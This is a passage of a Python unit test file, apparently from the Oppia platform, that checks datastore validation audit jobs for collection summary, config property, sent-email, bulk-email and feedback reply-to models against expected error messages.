'delete_collection_node', 'invalid_attribute': 'invalid' }] self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for commit cmd ' 'delete_collection_node check of ' 'CollectionCommitLogEntryModel\', ' '[u"Entity id collection-0-1: Commit command domain validation ' 'for command: {u\'cmd\': u\'delete_collection_node\', ' 'u\'invalid_attribute\': u\'invalid\'} failed with error: ' 'The following required attributes are missing: ' 'exploration_id, The following extra attributes ' 'are present: invalid_attribute"]]' ), ( u'[u\'failed validation check for commit cmd ' 'add_collection_node check of CollectionCommitLogEntryModel\', ' '[u"Entity id collection-0-1: Commit command domain validation ' 'for command: {u\'cmd\': u\'add_collection_node\'} ' 'failed with error: The following required attributes ' 'are missing: exploration_id"]]'), u'[u\'fully-validated CollectionCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) class CollectionSummaryModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(CollectionSummaryModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.user_id = self.get_user_id_from_email(USER_EMAIL) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.owner = user_services.UserActionsInfo(self.owner_id) editor_email = 'user@editor.com' viewer_email = 'user@viewer.com' contributor_email = 'user@contributor.com' self.signup(editor_email, 'editor') self.signup(viewer_email, 'viewer') self.signup(contributor_email, 'contributor') self.editor_id = self.get_user_id_from_email(editor_email) self.viewer_id = self.get_user_id_from_email(viewer_email) self.contributor_id = self.get_user_id_from_email(contributor_email) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(6)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) language_codes = ['ar', 'en', 'en'] collections = [collection_domain.Collection.create_default_collection( '%s' % i, title='title %d' % i, category='category%d' % i, objective='objective%d' % i, language_code=language_codes[i] ) for i in xrange(3)] for index, collection in enumerate(collections): collection.add_node('%s' % (index * 2)) collection.add_node('%s' % (index * 2 + 1)) collection.tags = ['math', 'art'] collection_services.save_new_collection(self.owner_id, collection) rights_manager.assign_role_for_collection( self.owner, '0', self.editor_id, rights_manager.ROLE_EDITOR) collection_services.update_collection( self.contributor_id, '0', [{ 'cmd': 'edit_collection_property', 'property_name': 'title', 'new_value': 'New title' }], 'Changes.') rights_manager.assign_role_for_collection( self.owner, '2', self.viewer_id, rights_manager.ROLE_VIEWER) self.model_instance_0 = ( collection_models.CollectionSummaryModel.get_by_id('0')) self.model_instance_0.put() self.model_instance_1 = ( collection_models.CollectionSummaryModel.get_by_id('1')) self.model_instance_2 = ( collection_models.CollectionSummaryModel.get_by_id('2')) self.job_class = ( prod_validation_jobs_one_off.CollectionSummaryModelAuditOneOffJob) def test_standard_operation(self): rights_manager.publish_collection(self.owner, '0') collection_services.update_collection( self.owner_id, '1', [{ 'cmd': 'edit_collection_property', 'property_name': 'title', 'new_value': 'New title' }], 'Changes.') expected_output = [ u'[u\'fully-validated CollectionSummaryModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of CollectionSummaryModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated CollectionSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): collection_services.delete_collection(self.owner_id, '1') collection_services.delete_collection(self.owner_id, '2') expected_output = [( u'[u\'failed validation check for current time check of ' 'CollectionSummaryModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_collection_model_failure(self): collection_model = collection_models.CollectionModel.get_by_id('0') collection_model.delete(feconf.SYSTEM_COMMITTER_ID, '', []) self.model_instance_0.collection_model_last_updated = ( collection_model.last_updated) self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for collection_ids ' 'field check of CollectionSummaryModel\', ' '[u"Entity id 0: based on field collection_ids having ' 'value 0, expect model CollectionModel with id 0 but ' 'it doesn\'t exist"]]'), u'[u\'fully-validated CollectionSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_owner_user_model_failure(self): rights_manager.assign_role_for_collection( self.owner, '0', self.user_id, rights_manager.ROLE_OWNER) user_models.UserSettingsModel.get_by_id(self.user_id).delete() expected_output = [ ( u'[u\'failed validation check for owner_user_ids ' 'field check of CollectionSummaryModel\', ' '[u"Entity id 0: based on field owner_user_ids having ' 'value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]') % (self.user_id, self.user_id), u'[u\'fully-validated CollectionSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_editor_user_model_failure(self): user_models.UserSettingsModel.get_by_id(self.editor_id).delete() expected_output = [ ( u'[u\'failed validation check for editor_user_ids ' 'field check of CollectionSummaryModel\', ' '[u"Entity id 0: based on field editor_user_ids having ' 'value %s, expect model UserSettingsModel with id %s but ' 'it doesn\'t exist"]]') % ( self.editor_id, self.editor_id), u'[u\'fully-validated CollectionSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_viewer_user_model_failure(self): user_models.UserSettingsModel.get_by_id(self.viewer_id).delete() expected_output = [ ( u'[u\'failed validation check for viewer_user_ids ' 'field check of CollectionSummaryModel\', ' '[u"Entity id 2: based on field viewer_user_ids having ' 'value %s, expect model UserSettingsModel with id %s but ' 'it doesn\'t exist"]]') % ( self.viewer_id, self.viewer_id), u'[u\'fully-validated CollectionSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_contributor_user_model_failure(self): user_models.UserSettingsModel.get_by_id(self.contributor_id).delete() expected_output = [ ( u'[u\'failed validation check for contributor_user_ids ' 'field check of CollectionSummaryModel\', ' '[u"Entity id 0: based on field contributor_user_ids having ' 'value %s, expect model UserSettingsModel with id %s but ' 'it doesn\'t exist"]]') % ( self.contributor_id, self.contributor_id), u'[u\'fully-validated CollectionSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_contributors_summary(self): sorted_contributor_ids = sorted( self.model_instance_0.contributors_summary.keys()) self.model_instance_0.contributors_summary = {'invalid': 1} self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for contributors summary ' 'check of CollectionSummaryModel\', ' '[u"Entity id 0: Contributor ids: [u\'%s\', u\'%s\'] do ' 'not match the contributor ids obtained using ' 'contributors summary: [u\'invalid\']"]]' ) % (sorted_contributor_ids[0], sorted_contributor_ids[1]), u'[u\'fully-validated CollectionSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_node_count(self): self.model_instance_0.node_count = 10 self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for node count check ' 'of CollectionSummaryModel\', ' '[u"Entity id 0: Node count: 10 does not match the number ' 'of nodes in collection_contents dict: [{u\'exploration_id\': ' 'u\'0\'}, {u\'exploration_id\': u\'1\'}]"]]' ), u'[u\'fully-validated CollectionSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_ratings(self): self.model_instance_0.ratings = {'1': 0, '2': 1} self.model_instance_0.put() self.model_instance_1.ratings = {} self.model_instance_1.put() expected_output = [( u'[u\'failed validation check for ratings check of ' 'CollectionSummaryModel\', ' '[u"Entity id 0: Expected ratings for the entity to be empty ' 'but received {u\'1\': 0, u\'2\': 1}"]]' ), u'[u\'fully-validated CollectionSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_collection_related_property(self): self.model_instance_0.title = 'invalid' self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for title field check of ' 'CollectionSummaryModel\', ' '[u\'Entity id %s: title field in entity: invalid does not ' 'match corresponding collection title field: New title\']]' ) % self.model_instance_0.id, u'[u\'fully-validated CollectionSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_collection_rights_related_property(self): self.model_instance_0.status = 'public' self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for status field check of ' 'CollectionSummaryModel\', ' '[u\'Entity id %s: status field in entity: public does not ' 'match corresponding collection rights status field: ' 'private\']]' ) % self.model_instance_0.id, u'[u\'fully-validated CollectionSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class ConfigPropertyModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(ConfigPropertyModelValidatorTests, self).setUp() self.signup(self.ADMIN_EMAIL, self.ADMIN_USERNAME) self.admin_id = self.get_user_id_from_email(self.ADMIN_EMAIL) self.model_instance = config_models.ConfigPropertyModel( id='config_model', value='c') self.model_instance.commit(feconf.SYSTEM_COMMITTER_ID, []) self.csrf_model_instance = config_models.ConfigPropertyModel.get_by_id( 'oppia_csrf_secret') self.job_class = ( prod_validation_jobs_one_off.ConfigPropertyModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated ConfigPropertyModel\', 2]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance.created_on = ( self.model_instance.last_updated + datetime.timedelta(days=1)) self.model_instance.commit(self.admin_id, []) expected_output = [ ( u'[u\'failed validation check for time field relation check ' 'of ConfigPropertyModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance.id, self.model_instance.created_on, self.model_instance.last_updated ), u'[u\'fully-validated ConfigPropertyModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.csrf_model_instance.delete(self.admin_id, '', [{}]) expected_output = [( u'[u\'failed validation check for current time check of ' 'ConfigPropertyModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance.id, self.model_instance.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_metadata_model_failure(self): config_models.ConfigPropertySnapshotMetadataModel.get_by_id( 'config_model-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_metadata_ids ' 'field check of ConfigPropertyModel\', ' '[u"Entity id config_model: based on field ' 'snapshot_metadata_ids having ' 'value config_model-1, expect model ' 'ConfigPropertySnapshotMetadataModel ' 'with id config_model-1 but it doesn\'t exist"]]'), u'[u\'fully-validated ConfigPropertyModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_content_model_failure(self): config_models.ConfigPropertySnapshotContentModel.get_by_id( 'config_model-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_content_ids ' 'field check of ConfigPropertyModel\', ' '[u"Entity id config_model: based on field ' 'snapshot_content_ids having ' 'value config_model-1, expect model ' 'ConfigPropertySnapshotContentModel ' 'with id config_model-1 but it doesn\'t exist"]]'), u'[u\'fully-validated ConfigPropertyModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) class ConfigPropertySnapshotMetadataModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(ConfigPropertySnapshotMetadataModelValidatorTests, self).setUp() self.signup(self.ADMIN_EMAIL, self.ADMIN_USERNAME) self.admin_id = self.get_user_id_from_email(self.ADMIN_EMAIL) self.config_model = config_models.ConfigPropertyModel( id='config_model', value='c') self.config_model.commit(self.admin_id, []) user_models.UserSettingsModel( id=feconf.SYSTEM_COMMITTER_ID, email='system@committer.com').put() self.model_instance = ( config_models.ConfigPropertySnapshotMetadataModel.get_by_id( 'config_model-1')) self.csrf_model_instance = ( config_models.ConfigPropertySnapshotMetadataModel.get_by_id( 'oppia_csrf_secret-1')) self.job_class = ( prod_validation_jobs_one_off .ConfigPropertySnapshotMetadataModelAuditOneOffJob) def test_standard_operation(self): self.config_model.commit(self.admin_id, []) expected_output = [ u'[u\'fully-validated ConfigPropertySnapshotMetadataModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance.created_on = ( self.model_instance.last_updated + datetime.timedelta(days=1)) self.model_instance.put() expected_output = [ ( u'[u\'failed validation check for time field relation check ' 'of ConfigPropertySnapshotMetadataModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance.id, self.model_instance.created_on, self.model_instance.last_updated), u'[u\'fully-validated ConfigPropertySnapshotMetadataModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.csrf_model_instance.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'ConfigPropertySnapshotMetadataModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance.id, self.model_instance.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_config_property_model_failure(self): self.config_model.delete(self.admin_id, '', []) expected_output = [ ( u'[u\'failed validation check for config_property_ids ' 'field check of ConfigPropertySnapshotMetadataModel\', ' '[u"Entity id config_model-1: based on field ' 'config_property_ids having value config_model, ' 'expect model ConfigPropertyModel with ' 'id config_model but it doesn\'t exist", ' 'u"Entity id config_model-2: based on field ' 'config_property_ids having value config_model, expect model ' 'ConfigPropertyModel with id config_model but it doesn\'t ' 'exist"]]' ), u'[u\'fully-validated ConfigPropertySnapshotMetadataModel\', 1]'] run_job_and_check_output(self, expected_output, literal_eval=True) def test_missing_committer_model_failure(self): user_models.UserSettingsModel.get_by_id(self.admin_id).delete() expected_output = [ ( u'[u\'failed validation check for committer_ids field ' 'check of ConfigPropertySnapshotMetadataModel\', ' '[u"Entity id config_model-1: based on field committer_ids ' 'having value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]' ) % (self.admin_id, self.admin_id), u'[u\'fully-validated ConfigPropertySnapshotMetadataModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_config_property_model_version_in_model_id(self): model_with_invalid_version_in_id = ( config_models.ConfigPropertySnapshotMetadataModel( id='config_model-3', committer_id=self.admin_id, commit_type='edit', commit_message='msg', commit_cmds=[{}])) model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for config property model ' 'version check of ConfigPropertySnapshotMetadataModel\', ' '[u\'Entity id config_model-3: ConfigProperty model ' 'corresponding to id config_model has a version 1 ' 'which is less than the version 3 in ' 'snapshot metadata model id\']]' ), u'[u\'fully-validated ConfigPropertySnapshotMetadataModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_commit_cmd_schmea(self): self.model_instance.commit_cmds = [{ 'cmd': 'change_property_value', 'invalid_attribute': 'invalid' }] self.model_instance.put() expected_output = [ ( u'[u\'failed validation check for commit cmd ' 'change_property_value check of ' 'ConfigPropertySnapshotMetadataModel\', ' '[u"Entity id config_model-1: Commit command domain ' 'validation for command: {u\'cmd\': ' 'u\'change_property_value\', ' 'u\'invalid_attribute\': u\'invalid\'} failed with error: ' 'The following required attributes are missing: ' 'new_value, The following extra attributes are present: ' 'invalid_attribute"]]' ), u'[u\'fully-validated ConfigPropertySnapshotMetadataModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) class ConfigPropertySnapshotContentModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(ConfigPropertySnapshotContentModelValidatorTests, self).setUp() self.signup(self.ADMIN_EMAIL, self.ADMIN_USERNAME) self.admin_id = self.get_user_id_from_email(self.ADMIN_EMAIL) self.config_model = config_models.ConfigPropertyModel( id='config_model', value='c') self.config_model.commit(self.admin_id, []) user_models.UserSettingsModel( id=feconf.SYSTEM_COMMITTER_ID, email='system@committer.com').put() self.model_instance = ( config_models.ConfigPropertySnapshotContentModel.get_by_id( 'config_model-1')) self.csrf_model_instance = ( config_models.ConfigPropertySnapshotContentModel.get_by_id( 'oppia_csrf_secret-1')) self.job_class = ( prod_validation_jobs_one_off .ConfigPropertySnapshotContentModelAuditOneOffJob) def test_standard_operation(self): self.config_model.commit(self.admin_id, []) expected_output = [ u'[u\'fully-validated ConfigPropertySnapshotContentModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance.created_on = ( self.model_instance.last_updated + datetime.timedelta(days=1)) self.model_instance.put() expected_output = [ ( u'[u\'failed validation check for time field relation check ' 'of ConfigPropertySnapshotContentModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance.id, self.model_instance.created_on, self.model_instance.last_updated ), u'[u\'fully-validated ConfigPropertySnapshotContentModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.csrf_model_instance.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'ConfigPropertySnapshotContentModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance.id, self.model_instance.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_config_property_model_failure(self): self.config_model.delete(self.admin_id, '', []) expected_output = [ ( u'[u\'failed validation check for config_property_ids ' 'field check of ConfigPropertySnapshotContentModel\', ' '[u"Entity id config_model-1: based on field ' 'config_property_ids having value config_model, ' 'expect model ConfigPropertyModel with ' 'id config_model but it doesn\'t exist", ' 'u"Entity id config_model-2: based on field ' 'config_property_ids having value config_model, expect model ' 'ConfigPropertyModel with id config_model but it ' 'doesn\'t exist"]]' ), u'[u\'fully-validated ConfigPropertySnapshotContentModel\', 1]'] run_job_and_check_output(self, expected_output, literal_eval=True) def test_invalid_config_property_model_version_in_model_id(self): model_with_invalid_version_in_id = ( config_models.ConfigPropertySnapshotContentModel( id='config_model-3')) model_with_invalid_version_in_id.content = {} model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for config property model ' 'version check of ConfigPropertySnapshotContentModel\', ' '[u\'Entity id config_model-3: ConfigProperty model ' 'corresponding to id config_model has a version 1 ' 'which is less than the version 3 in snapshot ' 'content model id\']]' ), u'[u\'fully-validated ConfigPropertySnapshotContentModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class SentEmailModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(SentEmailModelValidatorTests, self).setUp() def mock_generate_hash( unused_cls, unused_recipient_id, unused_email_subject, unused_email_body): return 'Email Hash' self.sender_email = 'sender@email.com' self.sender_id = 'sender' self.sender_model = user_models.UserSettingsModel( id=self.sender_id, email=self.sender_email) self.sender_model.put() self.recipient_email = 'recipient@email.com' self.recipient_id = 'recipient' self.recipient_model = user_models.UserSettingsModel( id=self.recipient_id, email=self.recipient_email) self.recipient_model.put() with self.swap( email_models.SentEmailModel, '_generate_hash', types.MethodType(mock_generate_hash, email_models.SentEmailModel)): email_models.SentEmailModel.create( self.recipient_id, self.recipient_email, self.sender_id, self.sender_email, feconf.EMAIL_INTENT_SIGNUP, 'Email Subject', 'Email Body', datetime.datetime.utcnow()) self.model_instance = email_models.SentEmailModel.get_by_hash( 'Email Hash')[0] self.job_class = ( prod_validation_jobs_one_off.SentEmailModelAuditOneOffJob) def test_standard_model(self): expected_output = [u'[u\'fully-validated SentEmailModel\', 1]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance.created_on = ( self.model_instance.last_updated + datetime.timedelta(days=1)) self.model_instance.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of SentEmailModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance.id, self.model_instance.created_on, self.model_instance.last_updated )] run_job_and_check_output(self, expected_output) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance.sent_datetime = ( datetime.datetime.utcnow() - datetime.timedelta(hours=20)) self.model_instance.put() expected_output = [( u'[u\'failed validation check for current time check of ' 'SentEmailModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance.id, self.model_instance.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output) def test_model_with_non_existent_sender_id(self): self.sender_model.delete() expected_output = [( u'[u\'failed validation check for sender_id field check of ' 'SentEmailModel\', ' '[u"Entity id %s: based on field sender_id having value ' '%s, expect model UserSettingsModel with ' 'id %s but it doesn\'t exist"]]') % ( self.model_instance.id, self.sender_id, self.sender_id)] run_job_and_check_output(self, expected_output) def test_model_with_non_existent_recipient_id(self): self.recipient_model.delete() expected_output = [( u'[u\'failed validation check for recipient_id field check of ' 'SentEmailModel\', ' '[u"Entity id %s: based on field recipient_id having value ' '%s, expect model UserSettingsModel with ' 'id %s but it doesn\'t exist"]]') % ( self.model_instance.id, self.recipient_id, self.recipient_id)] run_job_and_check_output(self, expected_output) def test_model_with_invalid_sender_email(self): self.sender_model.email = 'invalid@email.com' self.sender_model.put() expected_output = [( u'[u\'failed validation check for sender email check of ' 'SentEmailModel\', ' '[u\'Entity id %s: Sender email %s in entity does not match with ' 'email %s of user obtained through sender id %s\']]') % ( self.model_instance.id, self.model_instance.sender_email, self.sender_model.email, self.model_instance.sender_id)] run_job_and_check_output(self, expected_output) def test_model_with_invalid_recipient_email(self): self.recipient_model.email = 'invalid@email.com' self.recipient_model.put() expected_output = [( u'[u\'failed validation check for recipient email check of ' 'SentEmailModel\', ' '[u\'Entity id %s: Recipient email %s in entity does not match ' 'with email %s of user obtained through recipient id %s\']]') % ( self.model_instance.id, self.model_instance.recipient_email, self.recipient_model.email, self.model_instance.recipient_id)] run_job_and_check_output(self, expected_output) def test_model_with_sent_datetime_greater_than_current_time(self): self.model_instance.sent_datetime = ( datetime.datetime.utcnow() + datetime.timedelta(days=1)) self.model_instance.put() expected_output = [( u'[u\'failed validation check for sent datetime check of ' 'SentEmailModel\', ' '[u\'Entity id %s: The sent_datetime field has a value %s ' 'which is greater than the time when the job was run\']]') % ( self.model_instance.id, self.model_instance.sent_datetime)] run_job_and_check_output(self, expected_output) def test_model_with_invalid_id(self): model_instance_with_invalid_id = email_models.SentEmailModel( id='invalid', recipient_id=self.recipient_id, recipient_email=self.recipient_email, sender_id=self.sender_id, sender_email=self.sender_email, intent=feconf.EMAIL_INTENT_SIGNUP, subject='Email Subject', html_body='Email Body', sent_datetime=datetime.datetime.utcnow()) model_instance_with_invalid_id.put() expected_output = [( u'[u\'fully-validated SentEmailModel\', 1]' ), ( u'[u\'failed validation check for model id check of ' 'SentEmailModel\', ' '[u\'Entity id %s: Entity id does not match regex pattern\']]' ) % 'invalid'] run_job_and_check_output(self, expected_output, sort=True) class BulkEmailModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(BulkEmailModelValidatorTests, self).setUp() self.sender_email = 'sender@email.com' self.sender_id = 'sender' self.sender_model = user_models.UserSettingsModel( id=self.sender_id, email=self.sender_email) self.sender_model.put() self.recipient_ids = ['recipient1', 'recipient2'] self.recipient_model_1 = user_models.UserSettingsModel( id=self.recipient_ids[0], email='recipient1@email.com') self.recipient_model_1.put() self.recipient_model_2 = user_models.UserSettingsModel( id=self.recipient_ids[1], email='recipient2@email.com') self.recipient_model_2.put() self.model_id = 'bulkemailid1' email_models.BulkEmailModel.create( self.model_id, self.recipient_ids, self.sender_id, self.sender_email, feconf.BULK_EMAIL_INTENT_MARKETING, 'Email Subject', 'Email Body', datetime.datetime.utcnow()) self.model_instance = email_models.BulkEmailModel.get_by_id( self.model_id) self.job_class = ( prod_validation_jobs_one_off.BulkEmailModelAuditOneOffJob) def test_standard_model(self): expected_output = [u'[u\'fully-validated BulkEmailModel\', 1]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance.created_on = ( self.model_instance.last_updated + datetime.timedelta(days=1)) self.model_instance.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of BulkEmailModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance.id, self.model_instance.created_on, self.model_instance.last_updated )] run_job_and_check_output(self, expected_output) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance.sent_datetime = ( datetime.datetime.utcnow() - datetime.timedelta(hours=20)) self.model_instance.put() expected_output = [( u'[u\'failed validation check for current time check of ' 'BulkEmailModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance.id, self.model_instance.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output) def test_model_with_non_existent_sender_id(self): self.sender_model.delete() expected_output = [( u'[u\'failed validation check for sender_id field check of ' 'BulkEmailModel\', ' '[u"Entity id %s: based on field sender_id having value ' '%s, expect model UserSettingsModel with ' 'id %s but it doesn\'t exist"]]') % ( self.model_instance.id, self.sender_id, self.sender_id)] run_job_and_check_output(self, expected_output) def test_model_with_non_existent_recipient_id(self): self.recipient_model_1.delete() expected_output = [( u'[u\'failed validation check for recipient_id field check of ' 'BulkEmailModel\', ' '[u"Entity id %s: based on field recipient_id having value ' '%s, expect model UserSettingsModel with ' 'id %s but it doesn\'t exist"]]') % ( self.model_instance.id, self.recipient_ids[0], self.recipient_ids[0])] run_job_and_check_output(self, expected_output) def test_model_with_invalid_sender_email(self): self.sender_model.email = 'invalid@email.com' self.sender_model.put() expected_output = [( u'[u\'failed validation check for sender email check of ' 'BulkEmailModel\', ' '[u\'Entity id %s: Sender email %s in entity does not match with ' 'email %s of user obtained through sender id %s\']]') % ( self.model_instance.id, self.model_instance.sender_email, self.sender_model.email, self.model_instance.sender_id)] run_job_and_check_output(self, expected_output) def test_model_with_sent_datetime_greater_than_current_time(self): self.model_instance.sent_datetime = ( datetime.datetime.utcnow() + datetime.timedelta(days=1)) self.model_instance.put() expected_output = [( u'[u\'failed validation check for sent datetime check of ' 'BulkEmailModel\', ' '[u\'Entity id %s: The sent_datetime field has a value %s ' 'which is greater than the time when the job was run\']]') % ( self.model_instance.id, self.model_instance.sent_datetime)] run_job_and_check_output(self, expected_output) def test_model_with_invalid_id(self): model_instance_with_invalid_id = email_models.BulkEmailModel( id='invalid:id', recipient_ids=self.recipient_ids, sender_id=self.sender_id, sender_email=self.sender_email, intent=feconf.BULK_EMAIL_INTENT_MARKETING, subject='Email Subject', html_body='Email Body', sent_datetime=datetime.datetime.utcnow()) model_instance_with_invalid_id.put() expected_output = [( u'[u\'fully-validated BulkEmailModel\', 1]' ), ( u'[u\'failed validation check for model id check of ' 'BulkEmailModel\', ' '[u\'Entity id %s: Entity id does not match regex pattern\']]' ) % model_instance_with_invalid_id.id] run_job_and_check_output(self, expected_output, sort=True) class GeneralFeedbackEmailReplyToIdModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(GeneralFeedbackEmailReplyToIdModelValidatorTests, self).setUp() self.thread_id = feedback_services.create_thread( 'exploration', 'expid', None, 'a subject', 'some text') self.signup(USER_EMAIL, USER_NAME) self.user_id = self.get_user_id_from_email(USER_EMAIL) self.model_instance = ( email_models.GeneralFeedbackEmailReplyToIdModel.create( self.user_id, self.thread_id)) self.model_instance.put() self.job_class = ( prod_validation_jobs_one_off .GeneralFeedbackEmailReplyToIdModelAuditOneOffJob) def test_standard_model(self): expected_output = [( u'[u\'fully-validated GeneralFeedbackEmailReplyToIdModel\', 1]')] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance.created_on = ( self.model_instance.last_updated + datetime.timedelta(days=1)) self.model_instance.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of GeneralFeedbackEmailReplyToIdModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance.id, self.model_instance.created_on, self.model_instance.last_updated )] run_job_and_check_output(self, expected_output) def test_model_with_last_updated_greater_than_current_time(self): expected_output = [( u'[u\'failed validation check for current time check of ' 'GeneralFeedbackEmailReplyToIdModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance.id, self.model_instance.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output) def test_model_with_non_existent_user_id(self): user_models.UserSettingsModel.get_by_id(self.user_id).delete() expected_output = [( u'[u\'failed validation check for item.id.user_id field check of ' 'GeneralFeedbackEmailReplyToIdModel\', ' '[u"Entity id %s: based on field item.id.user_id having value ' '%s, expect model UserSettingsModel with ' 'id %s but it doesn\'t exist"]]') % ( self.model_instance.id, self.user_id, self.user_id)] 